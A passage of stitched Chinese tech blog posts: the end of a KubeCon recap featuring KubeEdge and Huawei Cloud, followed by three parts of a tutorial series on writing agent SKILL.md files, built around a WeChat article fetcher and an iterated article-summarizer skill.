层的极致性能优势,又通过 Rust 的安全内存模型解决了 L7 代理在长期运行中的稳定性隐患,为服务网格在AI时代高吞吐、低延迟场景下的规模化落地提供了全新路径。▍边缘智算引擎,KubeEdge 赋能万物智能正如会上的演讲议题“KubeEdge Everywhere: From Graduation to Global Adoption”,KubeEdge 的行业应用近年来呈爆炸式增长。作为首个从 CNCF 毕业的云原生边缘项目,KubeEdge 自 2024 年晋级后,社区的功能更新、治理更新以及实践案例,充分验证了在边缘 AI 和行业工作负载管理方面的强大性能,其强大的边云协同能力,为千行百业的智慧场景提供了可落地的云原生边缘基础设施技术方案。来自DaoCloud、谐云、Google、华为云的技术专家共建了 KubeEdge 系列议题,与此同时,KubeEdge Project Pavilion 吸引了大量关于边缘 AI 落地场景的讨论。▲ KubeEdge 应用于大会 Keynote 议题演讲中的滑翔机 展区零距离——智算引擎全栈体验 在华为展台,华为云向与会者展示了面向 Agentic AI 时代的智能原生基础设施解决方案。展区围绕 Agentic AI 基础设施与开发者展开深度互动,通过全新一代 CCE 智算集群、华为云 Agent 全栈平台、华为云容器领导力等产品与内容展示,呈现了从云原生基础设施到 AI 时代工作负载最佳运行底座的全栈能力,共同探讨智能原生未来图景。同时,华为云技术团队也分别在 Volcano、Karmada、Kmesh 等多个项目展台驻场,从多集群编排到AI调度,从服务网格到K8s生态,通过现场答疑、案例讲解与代码演示,与开发者进行开源技术创新与应用的面对面深度技术交流。作为云原生与 AI 领域的先驱者,华为云深耕 Kubernetes 等核心技术十余年,在 AI 浪潮中打造面向未来的AI原生基础设施,构建 AI Infra、Agent Infra 等算力底座,支撑 AI 大模型与 Agent 智能体应用需求。凭借多年来的产业实践和技术创新,华为云连续5年蝉联国内容器软件市场份额 TOP1,获选 Gartner 容器管理魔力象限领导者,Omdia 产品战略与执行全球第一,技术实力获全球权威认可。 Powering the Agentic Future 这场阿姆斯特丹的思想碰撞,是云原生基础设施与 Agentic AI 的一场“双向奔赴”;云原生底层逻辑正在升级重塑,成为支撑智能时代运行的“数字神经系统”。在迈向 Agentic Future 的征途中,我们将持续开放创新,让算力更高效、让治理更简洁、让智能更无处不在。期待与全球开源力量并肩,在智能原生的时代浪潮中,跑出加速创新的时代脚步。 更多云原生技术动向关注容器魔方
-
欢迎阅读「从零开始写好 Skill」系列文章 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样——SKILL.md 的解剖第三篇:手把手写你的第一个 Skill(本文)第四篇:写 Skill 太费劲?让 skill-creator 来帮你(即将更新)第五篇:拆开写,串起用——Skill 的组合之道(即将更新)作者:十一开场:从"用别人的"到"自己写"前两篇你一直在看别人的 Skill——第一篇看 wespy-fetcher 的效果,第二篇拆 wespy-fetcher 的结构。这篇我们换个角色:自己从零写一个。场景承接第一篇。还记得吗?wespy-fetcher 帮你把公众号文章抓下来了,存成了 Markdown 文件。然后呢?你打开 Agent,对它说:"帮我总结一下这篇文章,要列出核心观点、关键论据、值得深思的点。"Agent 给了你一份还不错的总结。第二天,又抓了一篇文章,你又得说一遍:"帮我总结一下,要核心观点、关键论据、值得深思的点……"第三天,同样的话再说一遍。到了第四天你开始烦了:每次都要把同样的要求重复一遍,这不就是 Skill 要解决的问题吗?没错。我们要写的 Skill 叫 article-summarizer:输入一篇 Markdown 文章,输出一份结构化的要点总结。wespy-fetcher 管抓取,article-summarizer 管总结,各管一段。接下来你会经历三个版本的迭代。第一版凭直觉写,会暴露很多问题;第二版用第二篇的检查清单修,解决结构性问题;第三版基于实际踩坑优化,打磨细节。这个"从烂到好"的过程,比直接看一个成品更有价值。一、第一版:凭直觉写先不翻第二篇的检查清单,凭直觉写一版。大多数人第一次写 Skill 就是这种状态——知道大概该写什么,但不确定该写多细。---name: article-summarizerdescription: 总结文章内容---# 文章总结帮用户总结文章的要点。## 步骤1. 读取文章内容2. 提取核心观点3. 列出关键论据4. 给出总结就这么短。看起来好像也够了?让 Agent 用这个 Skill 去总结一篇公众号文章,看看实际效果。第一次跑,Agent 输出了这样的"总结":这篇文章主要讨论了 Agent 时代的 API 设计。作者认为 API 需要更加智能化,能够支持 Agent 的自动调用。文章还提到了几个具体的设计原则,包括减少交互轮次、提供结构化响应等。总的来说,这是一篇有价值的技术文章,对 API 设计者有参考意义。看着像那么回事?仔细看,问题很多。问题一:结构不稳定。 这次输出是一段话,换一篇文章再跑,可能变成三个要点,再换一篇变成五个要点加一个表格。每次格式都不一样。为什么?因为你没有定义输出格式,Agent 每次自由发挥。问题二:深度不够。 "作者认为 API 需要更加智能化"——这算什么核心观点?这是把文章标题换了个说法。"提取核心观点"这个指令太模糊了,什么算"核心"?Agent 不知道你的标准,所以只能给你最表面的概括。问题三:缺少判断力。 一篇技术文章和一篇商业分析,总结的侧重点应该完全不同。技术文章要抓方案和论证逻辑,商业分析要抓数据和结论。但 Skill 没有告诉 Agent 怎么区分,所以它对所有文章都用同一种方式概括。问题四:触发不了。 这个问题更致命。description 写的是"总结文章内容",但用户说的可能是"帮我提炼一下这篇文章的要点""给我做个读后摘要""归纳一下核心论点"。"提炼""要点""摘要""归纳"这些词和"总结"匹配不上,Agent 可能根本不会加载这个 Skill。第一版的问题不是"写错了",而是写得太粗。对照第二篇的检查清单,几乎每一项都没达标。二、第二版:拿着检查清单修翻出第二篇的检查清单,逐项修复。修 description第二篇讲过:description 是触发器,不是摘要。要写触发条件 + 覆盖用户的多种说法。---name:article-summarizerdescription:对Markdown格式的文章进行结构化要点总结。Usewhenuserasksto总结文章、提炼要点、文章摘要、归纳核心观点、读后总结、summarizearticle。---改了什么?"总结文章内容"→ 明确说了"结构化要点总结"(告诉 Agent 输出类型),加了 "Use when" 触发词列表,覆盖了"总结""提炼""摘要""归纳"等多种说法。修概述第二篇讲过:概述要划边界,不做广告。# Article Summarizer对已有的 Markdown 文章进行结构化要点提炼。不负责文章抓取(抓取请使用 wespy-fetcher),只处理已有内容的总结。关键是第二段:明确和 wespy-fetcher 的分工。为什么要写这个?因为用户经常会说"帮我下载并总结这篇公众号文章"。如果不划清边界,Agent 可能会试图用 article-summarizer 去做抓取的活,然后失败。写清楚"我只管总结,不管抓取",Agent 就知道应该先调 wespy-fetcher 再调 article-summarizer。修操作指南第一版的"步骤"太模糊了。第二篇讲过:操作指南要给具体场景的示例,不给抽象的通用模板。更重要的是——要定义输出格式。## 操作流程1. 通读全文,判断文章类型(技术文章、商业分析、观点评论、教程指南)2. 根据文章类型确定总结侧重点: - 技术文章:侧重方案设计和论证逻辑 - 商业分析:侧重数据、结论和商业洞察 - 观点评论:侧重核心主张和论证方式 - 教程指南:侧重关键步骤和注意事项3. 按以下固定格式输出总结:### 输出格式**一句话概括:**(不超过 30 字,说清楚这篇文章的核心主张)**文章类型:**(技术 / 商业 / 观点 / 教程)**核心观点(3 个):**1. [观点]:[一句话展开]2. [观点]:[一句话展开]3. [观点]:[一句话展开]**关键论据或数据:**(支撑上述观点的关键证据,2-3 条)**值得深思的点:**(文章中最有启发性的一个观点或问题)**一句话评价:**(这篇文章的价值和局限)这里做了三个关键改进:第一,加了文章类型判断。Agent 不再对所有文章用同一种方式概括,而是先判断类型,再决定侧重点。第二,定义了固定的输出格式。每个字段都有明确的要求——"一句话概括"不超过 30 字,"核心观点"固定 3 个并且要展开。Agent 不再有自由发挥的空间,每次输出结构一致。第三,强制做取舍。"核心观点 3 个"不是随便定的——强制 Agent 只挑 3 个最重要的,而不是把文章每个段落都概括一遍。取舍本身就是总结的核心能力。修补充说明## 注意事项- 如果文章过短(少于 200 字),提示用户内容不足以生成有意义的总结- 如果文章是纯列表或清单类内容(如"十大工具推荐"), 调整为"要点归类"模式而非"观点提炼"模式- 核心观点固定 3 个,不多不少——宁可舍弃次要观点,也不凑数- 一句话概括必须是文章的核心主张,不是标题的改写每一条都在堵一个具体的坑:"文章太短怎么办""清单类文章怎么办""Agent 凑数怎么办""概括变成改写标题怎么办"。第二版完整效果把修改后的完整 SKILL.md 交给 Agent,用同一篇文章再跑一次:一句话概括:Agent 时代的 API 应从"人类友好"转向"意图驱动"文章类型: 技术核心观点(3 个):交互模式需重构:传统 API 的分页、确认弹窗等交互模式为人类设计,会严重拖慢 Agent 的执行效率接口粒度需升级:应提供"意图级"接口而非"操作级"接口,让 Agent 用一次调用完成原本需要多步操作的任务文档受众需转变:API 文档的主要读者将从人类开发者变为 Agent,可读性需要为机器优化关键论据或数据:作者对比了同一任务在传统 REST API 和意图级 API 下的调用次数差异引用了多个云服务商正在进行的 API 改造案例值得深思的点: 如果 API 的主要消费者变成 Agent,那"开发者体验"这个概念本身是否需要重新定义?一句话评价: 观点前瞻且论证清晰,但缺少对过渡期兼容性问题的讨论好多了。格式稳定、有结构、有深度、有判断。和第一版完全不是一个水平。但别急着满意——多跑几篇不同类型的文章,新的问题就来了。三、第二版的坑:实际跑了才发现用第二版连续总结了十几篇文章后,发现两个靠"想"想不到、只有"用"才能发现的问题。坑一:"核心观点 3 个"不是万能的。有些文章确实有 3 个清晰的论点,3 个刚刚好。但有些文章其实就在反复论证一个核心主张——Agent 为了凑 3 个,把同一个观点拆成三种说法,看起来像 3 个其实是 1 个。还有一些深度长文,信息密度极高,3 个根本兜不住,硬压成 3 个会丢掉重要内容。固定数量在大多数情况下是好的(防止 Agent 罗列),但在极端情况下反而成了束缚。坑二:"值得深思的点"和"核心观点"经常撞车。Agent 在核心观点里已经挑了它认为最重要的 3 个点。到了"值得深思的点",它又从这 3 个里选了一个换个说法再写一遍。两个字段的内容高度重叠,"值得深思"变成了"核心观点的第四条"。同样的问题也出现在"一句话评价"上——有时候和"一句话概括"说的是同一件事,只是一个正面表述一个加了"但是"。这两个问题有一个共同点:它们不是第一版就能预见到的。 只有真正跑了十几篇不同类型的文章,才会发现"固定 3 个"在某些场景下不合理,才会发现字段之间会撞车。这就是为什么 Skill 需要迭代。不是写完就不管了,而是用起来,踩坑,改进,再用。四、第三版:基于踩坑优化针对上面的两个坑,做三个调整:调整一:核心观点数量改为弹性。把"核心观点(3 个)"改为"核心观点(2-5 个)",并加一条约束:**核心观点(2-5 个,根据文章内容密度调整):**- 短文或单一论点文章:2 个即可,不凑数- 常规文章:3 个为佳- 深度长文:最多 5 个,超过 5 个说明你在罗列而非提炼给 Agent 判断空间,但用上下限和指导原则防止它失控。调整二:合并重叠字段。把"值得深思的点"和"一句话评价"合并为一个"点评"字段:- 本 Skill 适合 500-10000 字的深度文章、分析或评论- 短消息、新闻快讯(少于 500 字)不需要这种级别的总结,直接阅读原文更快- 超长文章(超过 10000 字)建议先分段,再逐段总结这条是"防过度使用"——不是所有文章都值得做结构化总结。一条 200 字的新闻快讯,你非要用这个 Skill 去"提炼核心观点",出来的总结可能比原文还长。第三版完整 SKILL.md把所有修改整合到一起:---name: article-summarizerdescription: 对 Markdown 格式的文章进行结构化要点总结。 Use when user asks to 总结文章、提炼要点、文章摘要、 归纳核心观点、读后总结、summarize article。---# Article Summarizer对已有的 Markdown 文章进行结构化要点提炼。不负责文章抓取(抓取请使用 wespy-fetcher),只处理已有内容的总结。## 操作流程1. 通读全文,判断文章类型(技术文章、商业分析、观点评论、教程指南)2. 根据文章类型确定总结侧重点: - 技术文章:侧重方案设计和论证逻辑 - 商业分析:侧重数据、结论和商业洞察 - 观点评论:侧重核心主张和论证方式 - 教程指南:侧重关键步骤和注意事项3. 按以下格式输出总结### 输出格式**一句话概括:**(不超过 30 字,说清楚文章的核心主张,不是标题的改写)**文章类型:**(技术 / 商业 / 观点 / 教程)**核心观点(2-5 个,根据文章内容密度调整):**- 短文或单一论点文章:2 个即可,不凑数- 常规文章:3 个为佳- 深度长文:最多 5 个,超过 5 个说明在罗列而非提炼每个观点格式:1. [观点]:[一句话展开]**关键论据或数据:**(支撑核心观点的关键证据,2-3 条)**点评:**(这篇文章最大的价值是什么,以及它没有覆盖到或可以进一步探讨的地方)## 注意事项- 本 Skill 适合 500-10000 字的深度文章、分析或评论- 短消息、新闻快讯(少于 500 字)不需要结构化总结,提示用户直接阅读原文- 超长文章(超过 10000 字)建议先分段再逐段总结- 如果文章是纯列表或清单类内容(如"十大工具推荐"), 调整为"要点归类"模式而非"观点提炼"模式- 一句话概括必须是文章的核心主张,不是标题的改写- 核心观点之间不能有明显重叠,每个观点必须提供独立的信息增量这就是你的第一个 Skill。可以直接复制使用。五、三版对比:从"能用"到"好用"差在哪把三个版本的关键差异放在一起看: 这张表里最值得关注的不是第三版有多完美,而是每次改进的来源不同:第一版 → 第二版的改进来自知识——对照检查清单,知道该写什么。任何人读完第二篇都能做到。第二版 → 第三版的改进来自经验——只有实际跑了十几篇文章,才会发现"3 个观点不够弹性""字段之间会撞车"。这些坑不是理论能预见的。这就是写 Skill 的正确姿势:第一版靠直觉,第二版靠知识,第三版靠经验。不要试图一次写对,而是快速写完,跑起来,踩坑,迭代。六、一个延伸思考回头看这个 article-summarizer,它和第一篇的 wespy-fetcher 天然形成配合:用户说"帮我保存并总结这篇公众号文章"Agent 先调 wespy-fetcher 抓取文章,存成 Markdown再调 article-summarizer 对这个 Markdown 文件做结构化总结两个 Skill 各管一段,串起来就是一个完整的工作流这不是巧合。好的 Skill 天然是单一职责的——一个 Skill 只做一件事,做好一件事。需要更复杂的能力?组合多个 Skill,而不是把所有功能塞进一个 Skill。这个"Skill 之间怎么配合"的话题,我们在后面的文章里展开。下一篇预告你已经写出了自己的第一个 Skill,也体验了三轮迭代。但你可能注意到了:每一轮都要自己思考问题在哪、怎么改、改完再跑一遍验证。这还只是一个简单的总结 Skill——如果是更复杂的场景,迭代成本会更高。有没有办法让这个过程更高效?下一篇,我们介绍 Anthropic 官方出品的 skill-creator ——一个帮你创建、测试和迭代 Skill 的"元技能",用 AI 来写 AI 的工作手册。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从 第一篇:Agent 的底层原理 开始。 扫码回复“Agent” 进入技术交流群
-
欢迎阅读「从零开始写好 Skill」系列 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样(本文)第三篇:手把手写你的第一个 Skill(即将更新)作者:十一开场:看到结构 ≠ 会写结构上一篇,我们看到了 wespy-fetcher 的 SKILL.md,知道它分成几个部分,也感受到了"有 Skill vs 没 Skill"的巨大差距。但"看到"和"会写"是两回事。同样是写 description,为什么有的 Skill 一触即发,有的被 Agent 视而不见?同样是写操作步骤,为什么有的让 Agent 一步到位,有的让 Agent 反复出错?这篇我们就拿 wespy-fetcher 的真实 SKILL.md 开刀,逐段拆解。不是再讲一遍"这段是什么"——上一篇已经讲过了。这次讲的是:这段怎么写才有效,写错了会怎样。一、先看全貌:一个 Skill 的四层骨架把 wespy-fetcher 的 SKILL.md 完整放一次,这次不加批注,先看原貌:---name: wespy-fetcherdescription: 获取并转换微信公众号/网页文章为 Markdown 的封装 Skill, 完整支持 WeSpy 的单篇抓取、微信专辑批量下载、专辑列表获取、 HTML/JSON/Markdown 多格式输出。 Use when user asks to 抓取微信公众号文章、公众号专辑批量下载、 URL 转 Markdown、保存微信文章、mp.weixin.qq.com to markdown.---# WeSpy Fetcher封装 tianchangNorth/WeSpy 的完整能力。## 功能范围(与 WeSpy 对齐)- 单篇文章抓取(微信公众号 / 通用网页 / 掘金)- 微信专辑文章列表获取(--album-only)- 微信专辑批量下载(--max-articles)- 多格式输出(Markdown 默认,支持 HTML / JSON / 全部)## 使用脚本位置:scripts/wespy_cli.py# 单篇文章(默认输出 markdown)python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/s/xxxxx"# 专辑批量下载python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/mp/appmsgalbum?..." --max-articles 20## 实现说明- 优先使用本地源码路径 ~/Documents/QNSZ/project/WeSpy- 若本地不存在则自动执行 git clone 到该目录- 通过导入 wespy.main.main 直接调用上游 CLI,保持行为一致这份文件虽然不长,但有清晰的四层结构。Agent 读取它的过程,就像你面试一个人一样,是分层递进的:第一层:头部(YAML frontmatter)—— 简历筛选Agent 启动时扫描所有 Skill 的 description,判断"这个任务该不该用这个 Skill"。绝大多数 Skill 在这一步就被跳过了。如果你的 description 写得不好,Agent 根本不会往下读。第二层:概述(标题 + 功能范围)—— 电话面试通过了第一层筛选,Agent 会快速读一下概述,确认能力范围是否匹配。"这个 Skill 能处理专辑批量下载吗?"——扫一眼功能范围列表就知道了。第三层:操作指南(使用方式、命令、参数)—— 入职培训确认要用这个 Skill 了,Agent 开始读具体的操作步骤。"脚本在哪?怎么调用?参数怎么传?"——这一层给出所有执行细节。第四层:补充说明(实现细节、依赖、兜底逻辑)—— 应急手册执行过程中遇到问题了,Agent 来查这一层。"WeSpy 没装怎么办?"——补充说明告诉它自动 clone。记住这个分层逻辑,它决定了你写 SKILL.md 时每一段应该放什么、不应该放什么。二、头部:description 是触发器,不是摘要头部的 YAML frontmatter 是整个 Skill 最关键的几行。写错了,后面的内容写得再好也没用——因为 Agent 根本不会读到后面。再看一遍 wespy-fetcher 的 description:description:获取并转换微信公众号/网页文章为Markdown的封装Skill,完整支持WeSpy的单篇抓取、微信专辑批量下载、专辑列表获取、HTML/JSON/Markdown多格式输出。Usewhenuserasksto抓取微信公众号文章、公众号专辑批量下载、URL转Markdown、保存微信文章、mp.weixin.qq.comtomarkdown.这段 description 做对了三件事:第一,前半段是能力声明——"我能做什么"。"获取并转换微信公众号/网页文章为 Markdown",一句话讲清楚核心能力。Agent 扫到这里就知道:这是一个处理公众号文章的 Skill,不是处理视频的,不是处理 PDF 的。第二,后半段是触发词列表——"用户怎么说时该想到我"。"Use when user asks to"后面跟了一串关键词:抓取微信公众号文章、公众号专辑批量下载、URL 转 Markdown、保存微信文章、mp.weixin.qq.com to markdown。这些不是给人看的,是给 Agent 看的。用户说"帮我抓取这篇公众号",Agent 拿"抓取"和"公众号"去匹配所有 Skill 的 description,命中了"抓取微信公众号文章",于是加载这个 Skill。第三,覆盖了用户的多种说法。同一件事,不同的人会用不同的词。有人说"抓取",有人说"下载",有人说"保存",有人直接丢一个 mp.weixin.qq.com 的链接。好的 description 把这些变体都列上了。现在看一个反面。假如 description 写成这样:description:一个用于处理微信文章的工具。问题在哪?"处理"太模糊了——是抓取?翻译?排版?总结?Agent 无法判断这个 Skill 是否匹配当前任务。触发词也太少,用户说"帮我下载这篇公众号文章"的时候,"下载"和"处理"匹配不上。再看一个另外的极端——写太长了:description:这是一个非常强大的工具,可以帮助你从微信公众号平台上 获取任意文章的完整内容,包括文字、图片和格式信息,它使用了 先进的爬虫技术来绕过微信的反爬机制,支持多种输出格式, 并且可以批量处理微信专辑中的所有文章......问题:Agent 扫描 description 时需要快速判断,不是来读论文的。冗长的描述反而增加了误匹配的风险,而且真正有用的触发词被淹没在废话里了。description 的写作公式:一句话能力声明 + "Use when user asks to" + 用户可能说的各种关键词简洁、精准、覆盖变体。就这样。三、概述:划边界,不是做广告通过了 description 的筛选,Agent 开始读概述。wespy-fetcher 的概述只有一句话:封装 tianchangNorth/WeSpy 的完整能力。这句话的价值不在于它说了什么,而在于它划了边界。它告诉 Agent:这个 Skill 的能力范围 = WeSpy 的能力范围,不多不少。Agent 不会拿它去干 WeSpy 做不到的事。接着是"功能范围"列表:- 单篇文章抓取(微信公众号 / 通用网页 / 掘金)- 微信专辑文章列表获取(--album-only)- 微信专辑批量下载(--max-articles)- 多格式输出(Markdown 默认,支持 HTML / JSON / 全部)这段的作用是让 Agent 快速做能力匹配。用户说"帮我批量下载这个专辑",Agent 扫一眼功能范围,看到"微信专辑批量下载",确认匹配,往下读操作步骤。用户说"帮我把这篇文章翻译成英文",Agent 扫一眼,没有"翻译"相关的功能,跳过这个 Skill,去找别的。这里有个常见的坑:在概述里塞太多操作细节。比如有人会在功能范围里写:- 单篇文章抓取(使用 python3 scripts/wespy_cli.py 命令, 需要先确保 WeSpy 已安装在 ~/Documents/QNSZ/project/WeSpy 目录, 如果没有安装会自动 git clone...)这样写的问题是:Agent 在概述阶段只需要判断"能不能做",不需要知道"具体怎么做"。操作细节应该放在下一层。概述阶段塞太多信息,反而干扰了 Agent 的匹配判断。概述的写作原则:说清楚能做什么、不能做什么,其他的一概不说。四、操作指南:Agent 的执行剧本确认要用这个 Skill 了,Agent 进入操作指南。这是 Skill 的核心——Agent 拿到任务后,具体按什么步骤做。wespy-fetcher 的操作指南长这样:## 使用脚本位置:scripts/wespy_cli.py# 单篇文章(默认输出 markdown)python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/s/xxxxx"# 专辑批量下载python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/mp/appmsgalbum?..." --max-articles 20注意它做对了什么:给了多个具体场景的命令示例,而不是只给一个通用命令。"单篇文章"和"专辑批量下载"是两个不同的使用场景,用户的需求可能是其中任何一个。Agent 看到这些示例,能根据用户的具体需求选择最匹配的命令,而不是每次都用同一个。如果操作指南只写成这样:## 使用python3 scripts/wespy_cli.py [URL] [OPTIONS]Agent 就得自己猜:用户要批量下载的时候,OPTIONS 该填什么?--max-articles 还是 --batch?--album-only 是什么意思?猜错了就执行失败。操作指南的第一原则:给具体场景的示例,不要给抽象的通用模板。不过,这里要指出一个重要的事实:wespy-fetcher 用的是"命令示例"这种写法,因为它本质上是一个工具封装——把一个已有的命令行工具包装成 Skill,教 Agent 怎么调用。但不是所有 Skill 都是工具封装。不同类型的 Skill,操作指南的写法完全不同:如果你的 Skill 是一个生成器(比如"生成技术报告"),操作指南应该写成:加载模板 → 向用户收集信息 → 填充模板 → 输出文档。如果你的 Skill 是一个审查器(比如"代码审查"),操作指南应该写成:加载审查清单 → 逐条检查用户代码 → 按严重程度分组 → 输出结构化报告。如果你的 Skill 是一个流水线(比如"从代码生成 API 文档"),操作指南应该写成:步骤1 → 检查点(用户确认)→ 步骤2 → 检查点 → 步骤3。如果你的 Skill 是一个采访模式(比如"项目规划"),操作指南应该写成:按顺序提问 → 等待用户回答 → 收集完信息后再综合输出。不允许 Agent 在收集完之前就开始行动。操作指南的写法取决于你的 Skill 属于哪种类型,没有万能格式。 这些类型我们在后续文章会展开讲,这里先建立一个认知:看到一个 Skill 的操作指南,先判断它是哪种类型,再评估它写得好不好。五、补充说明:你以为不重要的部分,其实最防坑wespy-fetcher 的"实现说明":- 优先使用本地源码路径 ~/Documents/QNSZ/project/WeSpy- 若本地不存在则自动执行 git clone 到该目录- 通过导入 wespy.main.main 直接调用上游 CLI,保持行为一致很多人写 Skill 的时候,把精力花在 description 和操作指南上,补充说明随便写两句甚至不写。这是一个很大的误区。想想看:Agent 按照操作指南开始执行,调用 python3 scripts/wespy_cli.py,结果发现 WeSpy 没安装。怎么办?如果没有补充说明,Agent 有几种可能的反应:直接报错:"WeSpy 未安装,请手动安装后重试"——回到了上一篇那个"甩锅"的状态自己猜一个安装方式:pip install wespy——如果猜错了,装了个完全不相关的包去网上搜索安装方法——浪费时间,而且可能搜到过时的信息但有了这三行补充说明,Agent 知道:先检查 ~/Documents/QNSZ/project/WeSpy 这个路径,有就用,没有就 git clone 到这里。流程闭环,不会卡死。这就是补充说明的核心价值:把 Agent 执行过程中可能遇到的"岔路口"提前堵死。什么是"岔路口"?就是那些 Agent 需要做判断、可能判断错的地方:依赖不存在怎么办网络超时怎么办输入格式不对怎么办输出目录不存在怎么办同名文件已经存在,覆盖还是跳过每一个你踩过的坑,都应该写进补充说明。Skill 会随着使用越来越"聪明",就是因为踩过的坑都沉淀在这里了。六、纠正一个简化:Skill 不只是一个文件第一篇为了降低门槛,我们说"Skill 就是一个 Markdown 文件"。这个说法帮你建立了最初的认知,但严格来说不够准确。Skill 是一个文件夹,SKILL.md 只是入口。一个完整的 Skill 文件夹可以包含:wespy-fetcher/├── SKILL.md ← 入口文件,Agent 首先读这个├── scripts/│ └── wespy_cli.py ← 可执行脚本,Agent 调用它来完成任务├── references/ ← 参考资料(API 文档、编码规范等)└── assets/ ← 模板、示例输出、配置文件等SKILL.md 是大脑——告诉 Agent 该做什么。scripts/ 是手脚——提供实际执行的脚本。references/ 是参考书——存放 Agent 可能需要查阅的背景知识。assets/ 是工具箱——存放模板、配置等辅助资源。Agent 不是读完 SKILL.md 就凭空干活——它会探索整个文件夹,在需要的时候读取对应的文件。wespy-fetcher 的操作指南里写了 scripts/wespy_cli.py,Agent 执行时就会去 scripts/ 目录下找这个脚本。这引出一个重要的实践原则:SKILL.md 本身应该保持精简,建议控制在 500 行以内。 超出的内容拆分到子文件里,在 SKILL.md 中用相对路径引用。为什么?因为 Agent 的上下文窗口是有限的。如果你把一个 3000 行的 API 文档塞进 SKILL.md,Agent 每次加载这个 Skill 都要吃掉大量的上下文空间,留给其他任务的空间就少了。更好的做法是:SKILL.md 里写"详细的 API 规范见 references/api.md",Agent 只在真正需要查 API 的时候才去加载那个文件。这就是渐进式揭示——按需加载,不一次性全塞进去。七、一个检查清单:你的 SKILL.md 写对了吗?拆解完了,给你一份可以直接带走的检查清单。下次写完一个 SKILL.md,对照着过一遍:头部(description):[ ] 写的是触发条件,不是功能摘要[ ] 包含"Use when user asks to"或类似的触发词列表[ ] 覆盖了用户可能的多种表达方式(同一件事的不同说法)[ ] 长度适中,不超过 5 行概述:[ ] 一句话说清楚这个 Skill 的能力边界[ ] 功能范围列表只列"能做什么",不包含操作细节操作指南:[ ] 给了具体场景的命令或步骤示例[ ] 不同使用场景有不同的示例(不只是一个通用模板)[ ] 写法匹配 Skill 的类型(工具封装、生成器、审查器、流水线、采访模式)补充说明:[ ] 覆盖了依赖缺失的兜底方案[ ] 覆盖了常见的错误场景和处理方式[ ] 踩过的坑都沉淀在这里了整体结构:[ ] SKILL.md 控制在 500 行以内[ ] 超出的内容拆到了 references/、scripts/、assets/ 子目录[ ] 四层结构清晰:头部 → 概述 → 操作指南 → 补充说明下一篇预告现在你知道了一个好 Skill 长什么样,也有了检查清单可以对照。但纸上得来终觉浅——读一百个别人的 Skill,不如自己从零写一个。下一篇,我们从一个真实需求出发,手把手写一个 Skill。你会看到完整的迭代过程:第一版写得很粗糙,Agent 用着各种出错;一步步修改,踩坑,补充,直到第三版终于好用。这个"从烂到好"的过程,比直接看一个成品更有价值。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从 第一篇:Agent 的底层原理 开始。 扫码回复“Agent” 进入技术交流群
-
欢迎阅读「从零开始写好 Skill」系列文章 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它(本文)第二篇:一个好 Skill 长什么样(即将更新)第三篇:手把手写你的第一个 Skill(即将更新)作者:十一开场:一个所有人都遇到过的场景朋友在群里转了一篇公众号文章。你点开看了,写得真好,想存下来以后反复看。于是你把链接丢给 Agent:" 帮我把这篇公众号文章下载到本地,转成 Markdown,再给我一个要点总结。"Agent 回你:抱歉,我无法直接访问微信公众号的链接。微信公众号文章有反爬机制,我没有办法获取页面内容。不过你可以试试以下方法:1. 在浏览器中打开文章,手动复制全文 2. 使用"保存为 PDF"功能 3. 使用第三方工具如 MarkDownload 浏览器插件如果你把文章内容粘贴给我,我可以帮你整理和总结。对话到这里就死了。Agent 很礼貌,很诚实,给了你三条"建议"——但没有一条是它帮你做的。你还是得自己动手复制粘贴。这不叫帮忙,这叫甩锅。换个 Agent 试试?不,不用换 Agent。同一个 Agent,同一个模型,同一个链接,再来一次。这次唯一的区别是:你给它装了一个叫 wespy-fetcher 的 Skill。" 帮我把这篇公众号文章下载到本地,转成 Markdown,再给我一个要点总结。"Agent 回你:好的,我来获取这篇文章。(自动调用 wespy-fetcher,抓取公众号文章内容,转为 Markdown)文章已保存到 ~/Documents/articles/2025-03-12-agent-native-api.md。以下是要点总结:核心观点: Agent 时代的云服务 API 需要从"人类友好"转向"Agent 友好"——减少交互轮次、提供结构化响应、支持批量操作。三个关键论点:1. 传统 REST API 为人类设计的分页、确认弹窗等交互模式会严重拖慢 Agent 的执行效率2. Agent 友好的 API 应该提供"意图级"接口,而不是"操作级"接口3. 未来 API 的文档本身就是写给 Agent 看的,可读性需要为机器优化需要我对其中某个部分展开分析吗?同一个 Agent。同一个模型。同一个链接。第一次说"我做不到",第二次说"做好了"。区别在哪?区别在于,第二次它手里多了一份"工作手册"。这份手册告诉它:遇到公众号链接时,不要说"我做不到"——去调用一个叫 WeSpy 的工具,它能帮你绕过反爬机制抓取内容。手册还告诉它:抓完之后转成 Markdown 格式,保存到指定目录,文件名用日期加标题。这份工作手册,就叫 Skill。打个比方:你公司来了个新员工,聪明、勤快、学啥都快——但他第一天上班,啥流程都不知道。你让他"帮忙处理一下客户投诉",他可能直接回复客户说"不好意思我们解决不了"。不是他笨,是他不知道公司有工单系统、有处理流程、有需要抄送的负责人。给他一份《客户投诉处理 SOP》,他立刻就能按流程操作。Agent 也是一样。模型就是那个聪明的新员工,Skill 就是你递给他的那份 SOP。一、Skill 到底是什么?上面用比喻讲清楚了 Skill 的角色——Agent 的 SOP。但光知道"它是个 SOP"还不够,我们拆开看看它具体包含什么。一个 Skill 就是一个 Markdown 文件,通常叫 SKILL.md,用人类的语言写清楚三件事:什么时候该用我——遇到什么样的任务,Agent 应该想到这个 Skill具体怎么做——一步一步的操作流程,用什么工具、按什么顺序注意什么——边界条件、常见坑、出错了怎么办就这三件事,不多不少。还是用公众号那个例子来说:wespy-fetcher 这个 Skill 告诉 Agent 的就是——"当你看到 mp.weixin.qq.com 的链接,别说做不到,去调用 WeSpy 这个工具,按这个步骤抓取内容,保存成 Markdown"。Agent 的智商没变,但它突然"知道该怎么做了"。二、为什么没有 